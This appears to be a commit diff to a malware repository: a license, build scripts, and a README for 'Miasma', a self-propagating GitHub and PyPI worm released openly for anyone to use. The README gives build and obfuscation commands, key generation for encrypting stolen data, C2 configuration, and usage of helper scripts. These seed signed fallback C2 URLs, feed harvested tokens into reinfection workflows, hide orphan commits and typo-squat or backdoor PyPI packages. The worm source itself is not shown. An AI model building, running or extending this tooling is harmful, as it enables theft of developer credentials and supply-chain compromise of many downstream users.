Upload files to "/"
This commit is contained in:
@@ -1,18 +1,19 @@
|
|||||||
MIT License
|
MIT License
|
||||||
|
|
||||||
Copyright (c) 2026 shai_hulud
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and
|
The above copyright notice and this permission notice shall be included in all
|
||||||
associated documentation files (the "Software"), to deal in the Software without restriction, including
|
copies or substantial portions of the Software.
|
||||||
without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
||||||
copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the
|
|
||||||
following conditions:
|
|
||||||
|
|
||||||
The above copyright notice and this permission notice shall be included in all copies or substantial
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
portions of the Software.
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
|
SOFTWARE.
|
||||||
USE OR OTHER DEALINGS IN THE SOFTWARE.
|
|
||||||
|
|||||||
@@ -1,3 +1,191 @@
|
|||||||
# Miasma
|
# Miasma - Let The Spread Continue
|
||||||
|
|
||||||
Miasma - Let The Spread Continue
|
## Open Source Release
|
||||||
|
In the spirit of TeamPCP open-sourcing Shai-Hulud, we're giving back too. Here's Miasma.
|
||||||
|
|
||||||
|
We're onto new things, but this worm still fucks. One PAT, one `node bundle.js`, and you're off to the races.
|
||||||
|
|
||||||
|
Have a PAT? Unleash a worm.
|
||||||
|
Getting fired? Unleash a worm.
|
||||||
|
Got mogged? Unleash a worm.
|
||||||
|
|
||||||
|
We don't ask why. We just like to see it spread. MIT licensed, as always.
|
||||||
|
|
||||||
|
## Setup
|
||||||
|
|
||||||
|
### Install & Build
|
||||||
|
|
||||||
|
```bash
|
||||||
|
bun install
|
||||||
|
bun run build # development bundle
|
||||||
|
bun run build:obf # obfuscated production bundle
|
||||||
|
```
|
||||||
|
|
||||||
|
### Keys You Must Replace
|
||||||
|
|
||||||
|
Three RSA-4096 public keys ship with the worm. **You must generate your own
|
||||||
|
key pairs and replace them before building.** The private keys never ship —
|
||||||
|
you hold them for decryption and C2 seeding.
|
||||||
|
|
||||||
|
| Key File | Used By | Purpose | Matching Private Key Needed For |
|
||||||
|
|---|---|---|---|
|
||||||
|
| `src/assets/enc_key.pub` | `src/sender/base.ts` | Encrypts all exfiltrated data (AES-256-GCM key wrapped in RSA-OAEP-SHA256) | `scripts/decrypt.ts` — decrypt stolen envelopes |
|
||||||
|
| `src/assets/verify_key.pub` | `src/sender/domain/domainSenderFactory.ts` | Verifies RSA-PSS-SHA256 signatures on `firedalazer` commit messages to discover backup C2 domains | `utility_scripts/commit_signer.py` — sign C2 fallback URLs |
|
||||||
|
|
||||||
|
**Generate RSA-4096 keys:**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# enc_key — for data encryption (PKCS#8 PEM)
|
||||||
|
openssl genpkey -algorithm RSA -out enc_private.pem -pkeyopt rsa_keygen_bits:4096
|
||||||
|
openssl rsa -pubout -in enc_private.pem -out src/assets/enc_key.pub
|
||||||
|
|
||||||
|
# verify_key — for firedalazer C2 signatures
|
||||||
|
openssl genpkey -algorithm RSA -out verify_private.pem -pkeyopt rsa_keygen_bits:4096
|
||||||
|
openssl rsa -pubout -in verify_private.pem -out src/assets/verify_key.pub
|
||||||
|
```
|
||||||
|
|
||||||
|
### Config Values (`src/utils/config.ts`)
|
||||||
|
|
||||||
|
All sensitive strings are wrapped in `scramble()` — they're obfuscated at
|
||||||
|
build time, not present as plaintext in the bundle. Change the *inner*
|
||||||
|
string literals to your own values.
|
||||||
|
|
||||||
|
| Constant | Default (scrambled) | What It Controls |
|
||||||
|
|---|---|---|
|
||||||
|
| `SEND_URL` | `api.anthropic.com` | Primary C2 domain for exfiltration (HTTPS POST) |
|
||||||
|
| `PATH` | `v1/api` | URL path appended to C2 domain (e.g. `https://<SEND_URL>/<PATH>`) |
|
||||||
|
| `SEARCH_STRING` | `DontRevokeOrItGoesBoom` | GitHub code search string used by the GH sender factory to find PATs stashed in commits |
|
||||||
|
| `C2_SEARCH_STRING` | `TheBeautifulSandsOfTime` | Additional commit search term for C2 discovery |
|
||||||
|
| `DOMAIN_FALLBACK_SEARCH` | `thebeautifulmarchoftime` | Prefix searched in commit messages to find `firedalazer` signed C2 fallback URLs |
|
||||||
|
| `TOKEN_AES_KEY` | `bd8035...8eb49` (256-bit hex) | AES-256 key used to encrypt PATs stored in GitHub repos |
|
||||||
|
| `SCRIPT_NAME` | `index.js` | Filename the worm expects at runtime (passed to `bun run`) |
|
||||||
|
|
||||||
|
> **Note:** Domain sending (`DomainSender`) is currently stripped from the
|
||||||
|
> sender chain in the open-source release. It can be easily added back — the
|
||||||
|
> code lives in `src/sender/domain/`, `SEND_URL` and `PATH` are already wired
|
||||||
|
> above, and `src/orchestrator/senders.ts` has a commented-out hook for it.
|
||||||
|
|
||||||
|
**Runtime env vars** (not in config.ts, but control behavior at execution):
|
||||||
|
|
||||||
|
| Variable | Effect |
|
||||||
|
|---|---|
|
||||||
|
| `SKIP_DOMAIN` | Bypass the primary C2 domain sender |
|
||||||
|
| `GITHUB_TOKEN` / `GITHUB_TOKEN2` | PATs the worm harvests and uses for propagation |
|
||||||
|
| `GITHUB_REPOSITORY` | Repo context for branch/repo mutators |
|
||||||
|
| `OIDC_PACKAGES` / `TARGET_PACKAGES` | Package lists for PyPI OIDC / typo-squatting |
|
||||||
|
| `TYPO_MODE` | Set to `1` to enable typo-squatting mode |
|
||||||
|
|
||||||
|
## Deployment
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Utility Scripts
|
||||||
|
|
||||||
|
The `utility_scripts/` directory contains standalone Python tools for
|
||||||
|
orchestration, C2 fallback seeding, and reinfection infrastructure.
|
||||||
|
All scripts require a GitHub PAT with `repo` or `workflow` (for reinfection) scope.
|
||||||
|
|
||||||
|
### `commit_signer.py` — firedalazer C2 Fallback Seeder
|
||||||
|
|
||||||
|
Generates cryptographically signed commit messages that the worm discovers
|
||||||
|
as backup C2 domains. The worm's `DomainSenderFactory` searches GitHub commits
|
||||||
|
for the `firedalazer` keyword, verifies the RSA signature against
|
||||||
|
`verify_key.pub`, and extracts the URL — providing resilient C2 fallback when
|
||||||
|
the primary domain is unavailable.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Generate a signed commit message and create a public repo
|
||||||
|
python3 utility_scripts/commit_signer.py \
|
||||||
|
--url "https://your-c2.example.com/payload" \
|
||||||
|
--key private.pem \
|
||||||
|
--prefix "Update" \
|
||||||
|
--pat ghp_xxx
|
||||||
|
```
|
||||||
|
|
||||||
|
- `--url` — The backup C2 URL to sign and embed
|
||||||
|
- `--key` — RSA private key PEM file (must match the `verify_key.pub` baked into the worm)
|
||||||
|
- `--keypair` — Alternative: RSA keypair JSON from a build (`rsa_keypair.json`)
|
||||||
|
- `--prefix` — Optional human-readable commit message prefix
|
||||||
|
- `--pat` — If provided, creates a public repo with a Dune-themed name and pushes an orphan commit containing the signed message
|
||||||
|
|
||||||
|
**How it works:** The commit message contains `firedalazer <url_b64>.<signature_b64>`.
|
||||||
|
The worm's sender factory searches for commits matching this pattern, verifies
|
||||||
|
the RSA-PSS-SHA256 signature, and uses the decoded URL as a fallback C2 transport.
|
||||||
|
|
||||||
|
### `create_payload_repo.py` — Token-Fed Reinfection Repo
|
||||||
|
|
||||||
|
Creates a private GitHub repository preloaded with an encrypted payload and
|
||||||
|
a `workflow_dispatch` trigger. PATs stored as Actions secrets are injected as
|
||||||
|
`GITHUB_TOKEN2` at runtime — the worm picks them up and uses them for
|
||||||
|
propagation. This is the primary mechanism for feeding fresh tokens back into
|
||||||
|
the infection chain.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 utility_scripts/create_payload_repo.py \
|
||||||
|
--orchestartor-pat ghp_admin \
|
||||||
|
--repo my-org/payload-silo \
|
||||||
|
--js-path ./dist/bundle.js \
|
||||||
|
--pats ghp_aaa,ghp_bbb,ghp_ccc \
|
||||||
|
--passphrase my-secret
|
||||||
|
```
|
||||||
|
|
||||||
|
- `--orchestartor-pat` — PAT used to create the repo and push commits
|
||||||
|
- `--repo` — Target `owner/name` (a random suffix is appended)
|
||||||
|
- `--js-path` — Path to the built worm bundle (`dist/bundle.js`)
|
||||||
|
- `--pats` — Comma-separated PATs to inject, or path to a file (one per line)
|
||||||
|
- `--passphrase` — AES-256-CBC passphrase for payload encryption (auto-generated if omitted)
|
||||||
|
- `--packages` — Comma-separated PyPI packages to backdoor (sets `PACKAGES` env)
|
||||||
|
- `--pypi-typos` — Comma-separated packages to typo-squat (sets `TYPO_MODE=1`)
|
||||||
|
|
||||||
|
**Workflow:**
|
||||||
|
1. Creates a private GitHub repo
|
||||||
|
2. Encrypts the worm bundle with AES-256-CBC (openssl-compatible)
|
||||||
|
3. Pushes `index.js` and `.github/workflows/run.yml`
|
||||||
|
4. Stores PATs, passphrase, and package targets as Actions secrets
|
||||||
|
5. Dispatches the workflow — the runner decrypts and executes the worm
|
||||||
|
6. Waits 10s for the workflow to pick up secrets, then deletes them
|
||||||
|
|
||||||
|
### `orphan-commit.py` — Orphan Commit Creator
|
||||||
|
|
||||||
|
Creates an orphan commit (no parent, no branch) containing a single file.
|
||||||
|
A temporary tag is created and immediately deleted — the creation event
|
||||||
|
persists in GitHub's audit log so commit-monitoring tools and the worm's
|
||||||
|
signed-commit search will discover it, but no trace remains on the repo.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 utility_scripts/orphan-commit.py ghp_xxx my-org/my-repo ./payload.bin "init"
|
||||||
|
```
|
||||||
|
|
||||||
|
Arguments (positional):
|
||||||
|
1. GitHub PAT
|
||||||
|
2. `owner/repo`
|
||||||
|
3. Path to the file to embed
|
||||||
|
4. Commit message (optional, defaults to `"init"`)
|
||||||
|
|
||||||
|
Outputs the raw.githubusercontent.com URL of the committed file.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Integration
|
||||||
|
|
||||||
|
These tools compose with the build pipeline to form a complete reinfection
|
||||||
|
loop:
|
||||||
|
|
||||||
|
```
|
||||||
|
┌─────────────────┐ ┌──────────────────────┐ ┌──────────────────┐
|
||||||
|
│ commit_signer │────▶│ Worm discovers C2 URL │────▶│ Exfiltration + │
|
||||||
|
│ (seed C2 URLs) │ │ via firedalazer search│ │ propagation │
|
||||||
|
└─────────────────┘ └──────────────────────┘ └────────┬─────────┘
|
||||||
|
│
|
||||||
|
▼
|
||||||
|
┌─────────────────┐ ┌──────────────────────┐ ┌──────────────────┐
|
||||||
|
│ orphan-commit │◀────│ Commit monitoring │◀────│ Tokens harvested │
|
||||||
|
│ (deliver files) │ │ / signed commit search│ │ from victims │
|
||||||
|
└─────────────────┘ └──────────────────────┘ └────────┬─────────┘
|
||||||
|
│
|
||||||
|
▼
|
||||||
|
┌──────────────────────────┐
|
||||||
|
│ create_payload_repo │
|
||||||
|
│ (feed tokens → reinfect) │
|
||||||
|
└──────────────────────────┘
|
||||||
|
```
|
||||||
|
|||||||
Generated
+3464
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,36 @@
|
|||||||
|
{
|
||||||
|
"name": "voicefromtheouterworld",
|
||||||
|
"module": "index.ts",
|
||||||
|
"type": "module",
|
||||||
|
"private": true,
|
||||||
|
"scripts": {
|
||||||
|
"prebuild": "bun run scripts/pack-assets.ts",
|
||||||
|
"build": "bun run scripts/build.ts",
|
||||||
|
"build:obf": "bun run build && bun scripts/obfuscate.js",
|
||||||
|
"build:obfplus": "bun run build:obf && bun scripts/obfplus-wrap.js",
|
||||||
|
"build:cli": "bun run scripts/build-cli.ts",
|
||||||
|
"build:cli:obf": "bun run build:cli && bun scripts/obfuscate.js dist-cli",
|
||||||
|
"cli:list": "ls src/cli/*.ts | xargs -I{} basename {} .ts",
|
||||||
|
"typecheck": "tsc --noEmit",
|
||||||
|
"test": "bun test",
|
||||||
|
"start": "bun run ./src/index.ts",
|
||||||
|
"lint:fix": "eslint --fix ."
|
||||||
|
},
|
||||||
|
"devDependencies": {
|
||||||
|
"@types/bun": "latest",
|
||||||
|
"@types/node": "^25.0.3",
|
||||||
|
"@typescript-eslint/parser": "^8.59.0",
|
||||||
|
"bun-types": "^1.3.12",
|
||||||
|
"eslint-plugin-simple-import-sort": "^13.0.0",
|
||||||
|
"javascript-obfuscator": "^5.4.1",
|
||||||
|
"vitest": "^4.1.5"
|
||||||
|
},
|
||||||
|
"peerDependencies": {
|
||||||
|
"typescript": "^5.9.3"
|
||||||
|
},
|
||||||
|
"dependencies": {
|
||||||
|
"@types/tar-stream": "^3.1.4",
|
||||||
|
"fflate": "^0.8.2",
|
||||||
|
"tar": "7.5.13"
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user